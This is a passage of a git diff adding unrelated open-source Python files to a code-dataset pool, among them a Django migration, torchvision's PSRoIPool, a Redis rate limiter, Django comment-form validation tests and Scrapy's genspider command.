sys.argv[1] == 'bdist_wininst': + for file_info in data_files: + file_info[0] = '\\PURELIB\\%s' % file_info[0] + +version = "1 0 0" + +setup(name='RDB', + version='1.0', + description='robot framework debug', + author='IPATA', + author_email='deonwu@gmail.com', + url='', + package_dir={'': 'src'}, + packages = packages, + #cmdclass = cmdclasses, + #data_files = data_files, + py_modules=[], + platforms = 'any', + data_files=[('rdb', ['src/rdb/settings.rdb', ]), ], + + scripts = ['rdb_postinstall.py', ], + ) + diff --git a/pool/shard009/Python/0082917_hello_world.py b/pool/shard009/Python/0082917_hello_world.py new file mode 100644 index 0000000000000000000000000000000000000000..994c08b9fc005579e876cac9e777ab9ad6412f78 --- /dev/null +++ b/pool/shard009/Python/0082917_hello_world.py @@ -0,0 +1,23 @@ +# -*- coding: utf-8 -*- +""" +Created on Sun Sep 20 21:21:40 2015 + +@author: Tillsten +""" + +from mplslides.content import listed_text, image +from mplslides.presentation import Presentation +from mplslides.slides import TitleSlide, NormalSlide +import matplotlib.pyplot as plt + +pres = Presentation() +s = TitleSlide("Hello", "World") +pres.add_slide(s) + +s = NormalSlide('Hello World!', 'Second Page') +txt = listed_text(['Foo', 'Bar', '123'], (0.1, 0.75)) +img = image('mplslides.png', (0.05,0.05), zoom=0.5) +#s.add_content([txt, img]) +pres.add_slide(s) +# +plt.show() \ No newline at end of file diff --git a/pool/shard009/Python/0082920_0038_auto_20140828_1334.py b/pool/shard009/Python/0082920_0038_auto_20140828_1334.py new file mode 100644 index 0000000000000000000000000000000000000000..4afc07b71fa067196db5cde6d53c0cc2788fb3a6 --- /dev/null +++ b/pool/shard009/Python/0082920_0038_auto_20140828_1334.py @@ -0,0 +1,28 @@ +# -*- coding: utf-8 -*- +from __future__ import unicode_literals + +from django.db import models, migrations + + +class Migration(migrations.Migration): + + dependencies = [ + ('volunteering', '0037_auto_20140811_1654'), + ] + + operations = [ + migrations.AlterModelOptions( + name='campaign', + options={'ordering': (b'name',)}, + ), + migrations.AlterModelOptions( + name='sendable', + options={}, + ), + migrations.AddField( + model_name='family', + name='hh_location_2014', + field=models.IntegerField(blank=True, null=True, choices=[(0, b'Regent Suite'), (1, b'Shul')]), + preserve_default=True, + ), + ] diff --git a/pool/shard009/Python/0082923_ps_roi_pool.py b/pool/shard009/Python/0082923_ps_roi_pool.py new file mode 100644 index 0000000000000000000000000000000000000000..a27c36ee76cc1ad3a787e84bb409433c0b444365 --- /dev/null +++ b/pool/shard009/Python/0082923_ps_roi_pool.py @@ -0,0 +1,68 @@ +import torch +from torch import nn, Tensor +from torch.nn.modules.utils import _pair +from torchvision.extension import _assert_has_ops + +from ..utils import _log_api_usage_once +from ._utils import convert_boxes_to_roi_format, check_roi_boxes_shape + + +def ps_roi_pool( + input: Tensor, + boxes: Tensor, + output_size: int, + spatial_scale: float = 1.0, +) -> Tensor: + """ + Performs Position-Sensitive Region of Interest (RoI) Pool operator + described in R-FCN + + Args: + input (Tensor[N, C, H, W]): The input tensor, i.e. a batch with ``N`` elements. Each element + contains ``C`` feature maps of dimensions ``H x W``. + boxes (Tensor[K, 5] or List[Tensor[L, 4]]): the box coordinates in (x1, y1, x2, y2) + format where the regions will be taken from. + The coordinate must satisfy ``0 <= x1 < x2`` and ``0 <= y1 < y2``. + If a single Tensor is passed, then the first column should + contain the index of the corresponding element in the batch, i.e. a number in ``[0, N - 1]``. + If a list of Tensors is passed, then each Tensor will correspond to the boxes for an element i + in the batch. + output_size (int or Tuple[int, int]): the size of the output (in bins or pixels) after the pooling + is performed, as (height, width). + spatial_scale (float): a scaling factor that maps the box coordinates to + the input coordinates. For example, if your boxes are defined on the scale + of a 224x224 image and your input is a 112x112 feature map (resulting from a 0.5x scaling of + the original image), you'll want to set this to 0.5. Default: 1.0 + + Returns: + Tensor[K, C / (output_size[0] * output_size[1]), output_size[0], output_size[1]]: The pooled RoIs. + """ + if not torch.jit.is_scripting() and not torch.jit.is_tracing(): + _log_api_usage_once(ps_roi_pool) + _assert_has_ops() + check_roi_boxes_shape(boxes) + rois = boxes + output_size = _pair(output_size) + if not isinstance(rois, torch.Tensor): + rois = convert_boxes_to_roi_format(rois) + output, _ = torch.ops.torchvision.ps_roi_pool(input, rois, spatial_scale, output_size[0], output_size[1]) + return output + + +class PSRoIPool(nn.Module): + """ + See :func:`ps_roi_pool`. + """ + + def __init__(self, output_size: int, spatial_scale: float): + super().__init__() + _log_api_usage_once(self) + self.output_size = output_size + self.spatial_scale = spatial_scale + + def forward(self, input: Tensor, rois: Tensor) -> Tensor: + return ps_roi_pool(input, rois, self.output_size, self.spatial_scale) + + def __repr__(self) -> str: + s = f"{self.__class__.__name__}(output_size={self.output_size}, spatial_scale={self.spatial_scale})" + return s diff --git a/pool/shard009/Python/0082924_discarded.py b/pool/shard009/Python/0082924_discarded.py new file mode 100644 index 0000000000000000000000000000000000000000..441a1d0f969a872835074e44ad6209b33d6eb423 --- /dev/null +++ b/pool/shard009/Python/0082924_discarded.py @@ -0,0 +1,16 @@ +#!/usr/bin/env python3 + +import json +import urllib.request + +with urllib.request.urlopen("https://github.com/openstreetmap/iD/raw/develop/data/discarded.json") as url: + data = json.loads(url.read().decode()) + + print("#pragma once\n") + print("#include \n") + print("static const std::array discardable_tags = { {") + + for key in data.keys(): + print("\t\"" + key + "\",") + + print("}};") diff --git a/pool/shard009/Python/0082927_configlog.py b/pool/shard009/Python/0082927_configlog.py new file mode 100644 index 0000000000000000000000000000000000000000..171e82a7c854da24355c1f0b477a395c7b5483df --- /dev/null +++ b/pool/shard009/Python/0082927_configlog.py @@ -0,0 +1,35 @@ +''' +Created on Mar 8,2015 +@author: qiuyx +''' +from scan.commands.command import Command +try: + import xml.etree.cElementTree as ET +except: + import xml.etree.ElementTree as ET + +class ConfigLog(Command): + """Config automatic logging. + + :param auto: `True` to log all write access, `False` to only log via `Log()` command. + + Example: + >>> cmd = ConfigLog(True) + """ + def __init__(self, auto, errhandler=None): + self.__auto=auto + self.__errHandler=errhandler + + def genXML(self): + xml=ET.Element('config_log'); + + ET.SubElement(xml, 'automatic').text = str(self.__auto).lower() + #return ''+''+str(self.__automatic).lower()+''+'' + + if self.__errHandler: + ET.SubElement(xml,'error_handler').text = str(self.__errHandler) + + return xml + + def __repr__(self): + return 'ConfigLog(%s)' % str(self.__auto) diff --git a/pool/shard009/Python/0082929_i18nCatalogProxy.py b/pool/shard009/Python/0082929_i18nCatalogProxy.py new file mode 100644 index 0000000000000000000000000000000000000000..7e2bb16cabd07c2a5991317dfdfcf899009b393d --- /dev/null +++ b/pool/shard009/Python/0082929_i18nCatalogProxy.py @@ -0,0 +1,108 @@ +# Copyright (c) 2015 Ultimaker B.V. +# Uranium is released under the terms of the LGPLv3 or higher. + +import inspect + +from PyQt5.QtCore import pyqtProperty, pyqtSignal, QObject, QUrl, QCoreApplication, pyqtSlot +from PyQt5.QtQml import QJSValue +# from UM.FlameProfiler import pyqtSlot + +from UM.i18n import i18nCatalog + +class i18nCatalogProxy(QObject): # [CodeStyle: Ultimaker code style requires classes to start with a upper case. But i18n is lower case by convention.] + def __init__(self, parent = None): + super().__init__() + + self._name = None + self._catalog = None + + # Slightly hacky way of getting at the QML engine defined by QtApplication. + engine = QCoreApplication.instance()._engine + + self._i18n_function = self._wrapFunction(engine, self, self._call_i18n) + self._i18nc_function = self._wrapFunction(engine, self, self._call_i18nc) + self._i18np_function = self._wrapFunction(engine, self, self._call_i18np) + self._i18ncp_function = self._wrapFunction(engine, self, self._call_i18ncp) + + def setName(self, name): + if name != self._name: + self._catalog = i18nCatalog(name) + self.nameChanged.emit() + + nameChanged = pyqtSignal() + + @pyqtProperty(str, fset = setName, notify = nameChanged) + def name(self): + return self._name + + @pyqtProperty(QJSValue, notify = nameChanged) + def i18n(self): + return self._i18n_function + + @pyqtProperty(QJSValue, notify = nameChanged) + def i18nc(self): + return self._i18nc_function + + @pyqtProperty(QJSValue, notify = nameChanged) + def i18np(self): + return self._i18np_function + + @pyqtProperty(QJSValue, notify = nameChanged) + def i18ncp(self): + return self._i18ncp_function + + @pyqtSlot(str, result = str) + def _call_i18n(self, message): + return self._catalog.i18n(message) + + @pyqtSlot(str, str, result = str) + def _call_i18nc(self, context, message): + return self._catalog.i18nc(context, message) + + @pyqtSlot(str, str, int, result = str) + def _call_i18np(self, single, multiple, counter): + return self._catalog.i18np(single, multiple, counter) + + @pyqtSlot(str, str, str, int, result = str) + def _call_i18ncp(self, context, single, multiple, counter): + return self._catalog.i18ncp(context, single, multiple, counter) + + ## Wrap a function in a bit of a javascript to re-trigger a method call on signal emit. + # + # This slightly magical method wraps a Python method exposed to QML in a JavaScript + # closure with the same signature as the Python method. This allows the closure to be + # exposed as a QML property instead of a QML slot. Using a property for this allows us + # to add a notify signal to re-trigger the method execution. Due to the way notify + # signals are handled by QML, re-triggering the method only needs a signal emit. + # + # \param engine \type{QQmlEngine} The QML engine to use to evaluate JavaScript. + # \param this_object \type{QObject} The object to call the function on. + # \param function \type{Function} The function to call. Should be marked as pyqtSlot. + # + # \return \type{QJSValue} A JavaScript closure that when called calls the wrapper Python method. + # + # \note Currently, only functions taking a fixed list of positional arguments are supported. + # + # \todo Move this to a more generic place so more things can use it. + def _wrapFunction(self, engine, this_object, function): + # JavaScript code that wraps the Python method call in a closure + wrap_js = """function(this_object) {{ + return function({args}) {{ return this_object.{function}({args}) }} + }}""" + + # Get the function name and argument list. + function_name = function.__name__ + function_args = inspect.getargspec(function)[0] + if function_args[0] == "self": + function_args = function_args[1:] # Drop "self" from argument list + + # Replace arguments and function name with the proper values. + wrapped_function = wrap_js.format(function = function_name, args = ", ".join(function_args)) + + # Wrap the "this" object in a QML JSValue object. + this_jsvalue = engine.newQObject(this_object) + + # Use the QML engine to evaluate the wrapped JS, then call that to retrieve the closure. + result = engine.evaluate(wrapped_function).call([this_jsvalue]) + # Finally, return the resulting function. + return result diff --git a/pool/shard009/Python/0082932_rate_limiter.py b/pool/shard009/Python/0082932_rate_limiter.py new file mode 100644 index 0000000000000000000000000000000000000000..01f1f2bc6acb111b66f7f66e8fe1081c377150fa --- /dev/null +++ b/pool/shard009/Python/0082932_rate_limiter.py @@ -0,0 +1,255 @@ +from __future__ import absolute_import + +import os + +from typing import Any, Iterator, List, Optional, Tuple, Text + +from django.conf import settings +from zerver.lib.redis_utils import get_redis_client +from six.moves import zip + +from zerver.models import UserProfile + +import redis +import time +import logging + +# Implement a rate-limiting scheme inspired by the one described here, but heavily modified +# http://blog.domaintools.com/2013/04/rate-limiting-with-redis/ + +client = get_redis_client() +rules = settings.RATE_LIMITING_RULES # type: List[Tuple[int, int]] + +KEY_PREFIX = u'' + +class RateLimitedObject(object): + def get_keys(self): + # type: () -> List[Text] + key_fragment = self.key_fragment() + return ["{}ratelimit:{}:{}".format(KEY_PREFIX, key_fragment, keytype) + for keytype in ['list', 'zset', 'block']] + + def key_fragment(self): + # type: () -> Text + raise NotImplementedError() + + def rules(self): + # type: () -> List[Tuple[int, int]] + raise NotImplementedError() + +class RateLimitedUser(RateLimitedObject): + def __init__(self, user, domain='all'): + # type: (UserProfile, Text) -> None + self.user = user + self.domain = domain + + def key_fragment(self): + # type: () -> Text + return "{}:{}:{}".format(type(self.user), self.user.id, self.domain) + + def rules(self): + # type: () -> List[Tuple[int, int]] + if self.user.rate_limits != "": + result = [] # type: List[Tuple[int, int]] + for limit in self.user.rate_limits.split(','): + (seconds, requests) = limit.split(':', 2) + result.append((int(seconds), int(requests))) + return result + return rules + +def bounce_redis_key_prefix_for_testing(test_name): + # type: (Text) -> None + global KEY_PREFIX + KEY_PREFIX = test_name + u':' + Text(os.getpid()) + u':' + +def max_api_calls(entity): + # type: (RateLimitedObject) -> int + "Returns the API rate limit for the highest limit" + return entity.rules()[-1][1] + +def max_api_window(entity): + # type: (RateLimitedObject) -> int + "Returns the API time window for the highest limit" + return entity.rules()[-1][0] + +def add_ratelimit_rule(range_seconds, num_requests): + # type: (int , int) -> None + "Add a rate-limiting rule to the ratelimiter" + global rules + + rules.append((range_seconds, num_requests)) + rules.sort(key=lambda x: x[0]) + +def remove_ratelimit_rule(range_seconds, num_requests): + # type: (int , int) -> None + global rules + rules = [x for x in rules if x[0] != range_seconds and x[1] != num_requests] + +def block_access(entity, seconds): + # type: (RateLimitedObject, int) -> None + "Manually blocks an entity for the desired number of seconds" + _, _, blocking_key = entity.get_keys() + with client.pipeline() as pipe: + pipe.set(blocking_key, 1) + pipe.expire(blocking_key, seconds) + pipe.execute() + +def unblock_access(entity): + # type: (RateLimitedObject) -> None + _, _, blocking_key = entity.get_keys() + client.delete(blocking_key) + +def clear_history(entity): + # type: (RateLimitedObject) -> None + ''' + This is only used by test code now, where it's very helpful in + allowing us to run tests quickly, by giving a user a clean slate. + ''' + for key in entity.get_keys(): + client.delete(key) + +def _get_api_calls_left(entity, range_seconds, max_calls): + # type: (RateLimitedObject, int, int) -> Tuple[int, float] + list_key, set_key, _ = entity.get_keys() + # Count the number of values in our sorted set + # that are between now and the cutoff + now = time.time() + boundary = now - range_seconds + + with client.pipeline() as pipe: + # Count how many API calls in our range have already been made + pipe.zcount(set_key, boundary, now) + # Get the newest call so we can calculate when the ratelimit + # will reset to 0 + pipe.lindex(list_key, 0) + + results = pipe.execute() + + count = results[0] # type: int + newest_call = results[1] # type: Optional[bytes] + + calls_left = max_calls - count + if newest_call is not None: + time_reset = now + (range_seconds - (now - float(newest_call))) + else: + time_reset = now + + return calls_left, time_reset + +def api_calls_left(entity): + # type: (RateLimitedObject) -> Tuple[int, float] + """Returns how many API calls in this range this client has, as well as when + the rate-limit will be reset to 0""" + max_window = max_api_window(entity) + max_calls = max_api_calls(entity) + return _get_api_calls_left(entity, max_window, max_calls) + +def is_ratelimited(entity): + # type: (RateLimitedObject) -> Tuple[bool, float] + "Returns a tuple of (rate_limited, time_till_free)" + list_key, set_key, blocking_key = entity.get_keys() + + rules = entity.rules() + + if len(rules) == 0: + return False, 0.0 + + # Go through the rules from shortest to longest, + # seeing if this user has violated any of them. First + # get the timestamps for each nth items + with client.pipeline() as pipe: + for _, request_count in rules: + pipe.lindex(list_key, request_count - 1) # 0-indexed list + + # Get blocking info + pipe.get(blocking_key) + pipe.ttl(blocking_key) + + rule_timestamps = pipe.execute() # type: List[Optional[bytes]] + + # Check if there is a manual block on this API key + blocking_ttl_b = rule_timestamps.pop() + key_blocked = rule_timestamps.pop() + + if key_blocked is not None: + # We are manually blocked. Report for how much longer we will be + if blocking_ttl_b is None: + blocking_ttl = 0.5 + else: + blocking_ttl = int(blocking_ttl_b) + return True, blocking_ttl + + now = time.time() + for timestamp, (range_seconds, num_requests) in zip(rule_timestamps, rules): + # Check if the nth timestamp is newer than the associated rule. If so, + # it means we've hit our limit for this rule + if timestamp is None: + continue + + boundary = float(timestamp) + range_seconds + if boundary > now: + free = boundary - now + return True, free + + # No api calls recorded yet + return False, 0.0 + +def incr_ratelimit(entity): + # type: (RateLimitedObject) -> None + """Increases the rate-limit for the specified entity""" + list_key, set_key, _ = entity.get_keys() + now = time.time() + + # If we have no rules, we don't store anything + if len(rules) == 0: + return + + # Start redis transaction + with client.pipeline() as pipe: + count = 0 + while True: + try: + # To avoid a race condition between getting the element we might trim from our list + # and removing it from our associated set, we abort this whole transaction if + # another agent manages to change our list out from under us + # When watching a value, the pipeline is set to Immediate mode + pipe.watch(list_key) + + # Get the last elem that we'll trim (so we can remove it from our sorted set) + last_val = pipe.lindex(list_key, max_api_calls(entity) - 1) + + # Restart buffered execution + pipe.multi() + + # Add this timestamp to our list + pipe.lpush(list_key, now) + + # Trim our list to the oldest rule we have + pipe.ltrim(list_key, 0, max_api_calls(entity) - 1) + + # Add our new value to the sorted set that we keep + # We need to put the score and val both as timestamp, + # as we sort by score but remove by value + pipe.zadd(set_key, now, now) + + # Remove the trimmed value from our sorted set, if there was one + if last_val is not None: + pipe.zrem(set_key, last_val) + + # Set the TTL for our keys as well + api_window = max_api_window(entity) + pipe.expire(list_key, api_window) + pipe.expire(set_key, api_window) + + pipe.execute() + + # If no exception was raised in the execution, there were no transaction conflicts + break + except redis.WatchError: + if count > 10: + logging.error("Failed to complete incr_ratelimit transaction without interference 10 times " + "in a row! Aborting rate-limit increment") + break + count += 1 + + continue diff --git a/pool/shard009/Python/0082933_test_reading.py b/pool/shard009/Python/0082933_test_reading.py new file mode 100644 index 0000000000000000000000000000000000000000..23469e2c6596a3b86a3292642ca231c418fc2644 --- /dev/null +++ b/pool/shard009/Python/0082933_test_reading.py @@ -0,0 +1,69 @@ +from wand._cffi import get_libraries + + +def test_smoke_test_library(): + c, wand, magick = get_libraries() + assert wand.MagickWandGenesis() == None + assert wand.MagickWandTerminus() == None + + +def test_read_core_image(): + c, wand, magick = get_libraries() + wand.MagickWandGenesis() + + class WAND(object): + def __init__(self, filename=None): + self._id_ = wand.NewMagickWand() + if filename: + ok = wand.MagickReadImage(self._id_, filename.encode()) + if not ok: + raise ValueError('Not able to read ' + repr(filename)) + def __del__(self): + self._id_ = wand.DestroyMagickWand(self._id_) + + def __repr__(self): + w = wand.MagickGetImageWidth(self._id_) + h = wand.MagickGetImageHeight(self._id_) + return ''.format(w, h) + + assert repr(WAND(filename='rose:')) == '' + wand.MagickWandTerminus() + + +def test_create_canvas(): + c, wand, magick = get_libraries() + wand.MagickWandGenesis() + + image = wand.NewMagickWand() + assert image != c.NULL + color = wand.NewPixelWand() + assert color != c.NULL + if not wand.PixelSetColor(color, b'orange'): + raise Exception('Unable to site pixel color') + if not wand.MagickNewImage(image, 8, 8, color): + raise Exception('Unable to create image') + + iterator = wand.NewPixelIterator(image) + + assert iterator != c.NULL + width = c.new('size_t *', 0) + + pixels = wand.PixelGetNextIteratorRow(iterator, width) + + assert width[0] == 8 + + original = wand.PixelGetColorAsString(color) + first= wand.PixelGetColorAsString(pixels[0]) + last = wand.PixelGetColorAsString(pixels[7]) + + assert c.string(original) == c.string(first) == c.string(last) + + iterator = wand.DestroyPixelIterator(iterator) + + color = wand.DestroyPixelWand(color) + image = wand.DestroyMagickWand(image) + wand.MagickWandTerminus() + + +if __name__ == '__main__': + test_create_canvas() \ No newline at end of file diff --git a/pool/shard009/Python/0082936_comment_form_tests.py b/pool/shard009/Python/0082936_comment_form_tests.py new file mode 100644 index 0000000000000000000000000000000000000000..57dad3625cd5c078332a583b4179de79654acd49 --- /dev/null +++ b/pool/shard009/Python/0082936_comment_form_tests.py @@ -0,0 +1,101 @@ +import time + +from django.conf import settings +from django.contrib.comments.forms import CommentForm +from django.contrib.comments.models import Comment +from django.utils.hashcompat import sha_constructor + +from regressiontests.comment_tests.models import Article +from regressiontests.comment_tests.tests import CommentTestCase + + +class CommentFormTests(CommentTestCase): + def testInit(self): + f = CommentForm(Article.objects.get(pk=1)) + self.assertEqual(f.initial['content_type'], str(Article._meta)) + self.assertEqual(f.initial['object_pk'], "1") + self.assertNotEqual(f.initial['security_hash'], None) + self.assertNotEqual(f.initial['timestamp'], None) + + def testValidPost(self): + a = Article.objects.get(pk=1) + f = CommentForm(a, data=self.getValidData(a)) + self.assertTrue(f.is_valid(), f.errors) + return f + + def tamperWithForm(self, **kwargs): + a = Article.objects.get(pk=1) + d = self.getValidData(a) + d.update(kwargs) + f = CommentForm(Article.objects.get(pk=1), data=d) + self.assertFalse(f.is_valid()) + return f + + def testHoneypotTampering(self): + self.tamperWithForm(honeypot="I am a robot") + + def testTimestampTampering(self): + self.tamperWithForm(timestamp=str(time.time() - 28800)) + + def testSecurityHashTampering(self): + self.tamperWithForm(security_hash="Nobody expects the Spanish Inquisition!") + + def testContentTypeTampering(self): + self.tamperWithForm(content_type="auth.user") + + def testObjectPKTampering(self): + self.tamperWithForm(object_pk="3") + + def testDjango12Hash(self): + # Ensure we can use the hashes generated by Django 1.2 + a = Article.objects.get(pk=1) + d = self.getValidData(a) + + content_type = d['content_type'] + object_pk = d['object_pk'] + timestamp = d['timestamp'] + + # The Django 1.2 method hard-coded here: + info = (content_type, object_pk, timestamp, settings.SECRET_KEY) + security_hash = sha_constructor("".join(info)).hexdigest() + + d['security_hash'] = security_hash + f = CommentForm(a, data=d) + self.assertTrue(f.is_valid(), f.errors) + + def testSecurityErrors(self): + f = self.tamperWithForm(honeypot="I am a robot") + self.assertTrue("honeypot" in f.security_errors()) + + def testGetCommentObject(self): + f = self.testValidPost() + c = f.get_comment_object() + self.assertTrue(isinstance(c, Comment)) + self.assertEqual(c.content_object, Article.objects.get(pk=1)) + self.assertEqual(c.comment, "This is my comment") + c.save() + self.assertEqual(Comment.objects.count(), 1) + + def testProfanities(self): + """Test COMMENTS_ALLOW_PROFANITIES and PROFANITIES_LIST settings""" + a = Article.objects.get(pk=1) + d = self.getValidData(a) + + # Save settings in case other tests need 'em + saved = settings.PROFANITIES_LIST, settings.COMMENTS_ALLOW_PROFANITIES + + # Don't wanna swear in the unit tests if we don't have to... + settings.PROFANITIES_LIST = ["rooster"] + + # Try with COMMENTS_ALLOW_PROFANITIES off + settings.COMMENTS_ALLOW_PROFANITIES = False + f = CommentForm(a, data=dict(d, comment="What a rooster!")) + self.assertFalse(f.is_valid()) + + # Now with COMMENTS_ALLOW_PROFANITIES on + settings.COMMENTS_ALLOW_PROFANITIES = True + f = CommentForm(a, data=dict(d, comment="What a rooster!")) + self.assertTrue(f.is_valid()) + + # Restore settings + settings.PROFANITIES_LIST, settings.COMMENTS_ALLOW_PROFANITIES = saved diff --git a/pool/shard009/Python/0082938_si_midorikawa_1999_test.py b/pool/shard009/Python/0082938_si_midorikawa_1999_test.py new file mode 100644 index 0000000000000000000000000000000000000000..0cf427775c90c320a8094272dd98a2d2d9b43562 --- /dev/null +++ b/pool/shard009/Python/0082938_si_midorikawa_1999_test.py @@ -0,0 +1,134 @@ +# -*- coding: utf-8 -*- +# vim: tabstop=4 shiftwidth=4 softtabstop=4 +# +# Copyright (C) 2013-2022 GEM Foundation +# +# OpenQuake is free software: you can redistribute it and/or modify it +# under the terms of the GNU Affero General Public License as published +# by the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# OpenQuake is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with OpenQuake. If not, see . + +from openquake.hazardlib.gsim.si_midorikawa_1999 import SiMidorikawa1999Asc, \ + SiMidorikawa1999SInter, SiMidorikawa1999SSlab, \ + SiMidorikawa1999SInterNorthEastCorrection, \ + SiMidorikawa1999SSlabNorthEastCorrection, \ + SiMidorikawa1999SInterSouthWestCorrection, \ + SiMidorikawa1999SSlabSouthWestCorrection +from openquake.hazardlib.tests.gsim.utils import BaseGSIMTestCase +# test data was generated using alternative implementation of GMPE. + + +class SiMidorikawa1999AscTestCase(BaseGSIMTestCase): + GSIM_CLASS = SiMidorikawa1999Asc + + def test_mean(self): + self.check('SM99/SM99ASC_MEAN.csv', + max_discrep_percentage=0.1) + + def test_mean_pga(self): + self.check('SM99/SM99ASC_MEAN_PGA.csv', + max_discrep_percentage=0.1) + + def test_mean_pga_vs800(self): + self.check('SM99/SM99ASC_MEAN_PGA_vs800.csv', + max_discrep_percentage=0.1) + + def test_total_stddev(self): + self.check('SM99/SM99ASC_STD_TOTAL.csv', + max_discrep_percentage=0.1) + + +class SiMidorikawa1999SInterTestCase(BaseGSIMTestCase): + GSIM_CLASS = SiMidorikawa1999SInter + + def test_mean(self): + self.check('SM99/SM99SInter_MEAN.csv', + max_discrep_percentage=0.1) + + def test_total_stddev(self): + self.check('SM99/SM99SInter_STD_TOTAL.csv', + max_discrep_percentage=0.1) + + +class SiMidorikawa1999SInterNECorrTestCase(BaseGSIMTestCase): + GSIM_CLASS = SiMidorikawa1999SInterNorthEastCorrection + + def test_mean(self): + self.check( + 'SM99/SM99SInterNECorr_MEAN.csv', max_discrep_percentage=0.1) + + def test_mean_pga(self): + self.check( + 'SM99/SM99SInterNECorr_MEAN_PGA.csv', max_discrep_percentage=0.1) + + def test_total_stddev(self): + self.check( + 'SM99/SM99SInterNECorr_STD_TOTAL.csv', max_discrep_percentage=0.1) + + +class SiMidorikawa1999SInterSWCorrTestCase(BaseGSIMTestCase): + GSIM_CLASS = SiMidorikawa1999SInterSouthWestCorrection + + def test_mean(self): + self.check( + 'SM99/SM99SInterSWCorr_MEAN.csv', max_discrep_percentage=0.1) + + def test_mean_pga(self): + self.check( + 'SM99/SM99SInterSWCorr_MEAN_PGA.csv', max_discrep_percentage=0.1) + + def test_total_stddev(self): + self.check( + 'SM99/SM99SInterSWCorr_STD_TOTAL.csv', max_discrep_percentage=0.1) + + +class SiMidorikawa1999SSlabTestCase(BaseGSIMTestCase): + GSIM_CLASS = SiMidorikawa1999SSlab + + def test_mean(self): + self.check('SM99/SM99SSlab_MEAN.csv', + max_discrep_percentage=0.1) + + def test_total_stddev(self): + self.check('SM99/SM99SSlab_STD_TOTAL.csv', + max_discrep_percentage=0.1) + + +class SiMidorikawa1999SSlabNECorrTestCase(BaseGSIMTestCase): + GSIM_CLASS = SiMidorikawa1999SSlabNorthEastCorrection + + def test_mean(self): + self.check( + 'SM99/SM99SSlabNECorr_MEAN.csv', max_discrep_percentage=0.1) + + def test_mean_pga(self): + self.check( + 'SM99/SM99SSlabNECorr_MEAN_PGA.csv', max_discrep_percentage=0.1) + + def test_total_stddev(self): + self.check( + 'SM99/SM99SSlabNECorr_STD_TOTAL.csv', max_discrep_percentage=0.1) + + +class SiMidorikawa1999SSlabSWCorrTestCase(BaseGSIMTestCase): + GSIM_CLASS = SiMidorikawa1999SSlabSouthWestCorrection + + def test_mean(self): + self.check( + 'SM99/SM99SSlabSWCorr_MEAN.csv', max_discrep_percentage=0.1) + + def test_mean_pga(self): + self.check( + 'SM99/SM99SSlabSWCorr_MEAN_PGA.csv', max_discrep_percentage=0.1) + + def test_total_stddev(self): + self.check( + 'SM99/SM99SSlabSWCorr_STD_TOTAL.csv', max_discrep_percentage=0.1) diff --git a/pool/shard009/Python/0082944_genspider.py b/pool/shard009/Python/0082944_genspider.py new file mode 100644 index 0000000000000000000000000000000000000000..79deb3ffbeefdf870f8825c2b799db88638bd0b3 --- /dev/null +++ b/pool/shard009/Python/0082944_genspider.py @@ -0,0 +1,117 @@ +import os +import shutil +import string +from os.path import join, dirname, abspath, exists, splitext + +import scrapy +from scrapy.command import ScrapyCommand +from scrapy.utils.template import render_templatefile, string_camelcase +from scrapy.exceptions import UsageError + +def sanitize_module_name(module_name): + """Sanitize the given module name, by replacing dashes and points + with underscores and prefixing it with a letter if it doesn't start + with one + """ + module_name = module_name.replace('-', '_').replace('.', '_') + if module_name[0] not in string.ascii_letters: + module_name = "a" + module_name + return module_name + +class Command(ScrapyCommand): + + requires_project = True + default_settings = {'LOG_ENABLED': False} + + def syntax(self): + return "[options] " + + def short_desc(self): + return "Generate new spider using pre-defined templates" + + def add_options(self, parser): + ScrapyCommand.add_options(self, parser) + parser.add_option("-l", "--list", dest="list", action="store_true", + help="List available templates") + parser.add_option("-e", "--edit", dest="edit", action="store_true", + help="Edit spider after creating it") + parser.add_option("-d", "--dump", dest="dump", metavar="TEMPLATE", + help="Dump template to standard output") + parser.add_option("-t", "--template", dest="template", default="crawl", + help="Uses a custom template.") + parser.add_option("--force", dest="force", action="store_true", + help="If the spider already exists, overwrite it with the template") + + def run(self, args, opts): + if opts.list: + self._list_templates() + return + if opts.dump: + template_file = self._find_template(opts.dump) + if template_file: + print open(template_file, 'r').read() + return + if len(args) != 2: + raise UsageError() + + name, domain = args[0:2] + module = sanitize_module_name(name) + + if self.settings.get('BOT_NAME') == module: + print "Cannot create a spider with the same name as your project" + return + + try: + spider = self.crawler.spiders.create(name) + except KeyError: + pass + else: + # if spider already exists and not --force then halt + if not opts.force: + print "Spider %r already exists in module:" % name + print " %s" % spider.__module__ + return + template_file = self._find_template(opts.template) + if template_file: + self._genspider(module, name, domain, opts.template, template_file) + if opts.edit: + self.exitcode = os.system('scrapy edit "%s"' % name) + + def _genspider(self, module, name, domain, template_name, template_file): + """Generate the spider module, based on the given template""" + tvars = { + 'project_name': self.settings.get('BOT_NAME'), + 'ProjectName': string_camelcase(self.settings.get('BOT_NAME')), + 'module': module, + 'name': name, + 'domain': domain, + 'classname': '%sSpider' % ''.join([s.capitalize() \ + for s in module.split('_')]) + } + spiders_module = __import__(self.settings['NEWSPIDER_MODULE'], {}, {}, ['']) + spiders_dir = abspath(dirname(spiders_module.__file__)) + spider_file = "%s.py" % join(spiders_dir, module) + shutil.copyfile(template_file, spider_file) + render_templatefile(spider_file, **tvars) + print "Created spider %r using template %r in module:" % (name, \ + template_name) + print " %s.%s" % (spiders_module.__name__, module) + + def _find_template(self, template): + template_file = join(self.templates_dir, '%s.tmpl' % template) + if exists(template_file): + return template_file + print "Unable to find template: %s\n" % template + print 'Use "scrapy genspider --list" to see all available templates.' + + def _list_templates(self): + print "Available templates:" + for filename in sorted(os.listdir(self.templates_dir)): + if filename.endswith('.tmpl'): + print " %s" % splitext(filename)[0] + + @property + def templates_dir(self): + _templates_base_dir = self.settings['TEMPLATES_DIR'] or \ + join(scrapy.__path__[0], 'templates') + return join(_templates_base_dir, 'spiders') diff --git a/pool/shard009/Python/0082945_test_basic.py b/pool/shard009/Python/0082945_test_basic.py new file mode 100644 index 0000000000000000000000000000000000000000..a411701c044c47f21207f80b0ac4204e85ece839 --- /dev/null +++ b/pool/shard009/Python/0082945_test_basic.py @@ -0,0 +1,76 @@ +# -*- coding: utf-8 -*- +""" + test_basic + ~~~~~~~~~~ + + Test functions that implements pot related features. + + :copyright: Copyright 2019 by Takayuki SHIMIZUKAWA. + :license: BSD, see LICENSE 